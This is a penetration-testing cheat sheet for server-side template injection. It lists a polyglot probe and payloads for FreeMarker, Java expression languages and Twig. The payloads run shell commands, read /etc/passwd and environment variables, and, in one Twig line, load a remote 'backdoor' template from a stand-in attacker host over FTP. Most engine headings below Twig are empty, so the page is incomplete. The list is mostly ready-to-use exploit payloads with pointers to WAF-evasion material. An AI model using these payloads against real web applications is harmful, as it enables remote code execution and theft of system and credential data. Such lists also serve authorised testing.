Server Side Template Injection (SSTI)

Cheat Sheet for Server Side Template Injection from: https://blog.cobalt.io/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68

Polyglot:

${{<%[%'"}}%\

FreeMarker (Java):

${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }

(Java):

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

Twig (PHP):

{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

Smarty (PHP):

Handlebars (NodeJS):

Velocity:

ERB (Ruby):

Django Tricks (Python):

Tornado (Python):

Mojolicious (Perl):

Flask/Jinja2: Identify:

Flask/Jinja2:

Jade:

Razor (.Net):

This is a useful read on how to avoid WAF with SSTI:

https://gusralph.info/jinja2-ssti-research/arrow-up-right

Still haven't found what you are looking for? Try These:

book.hacktrickz.xyzarrow-up-right

Payload All The Thingsarrow-up-right

Last updated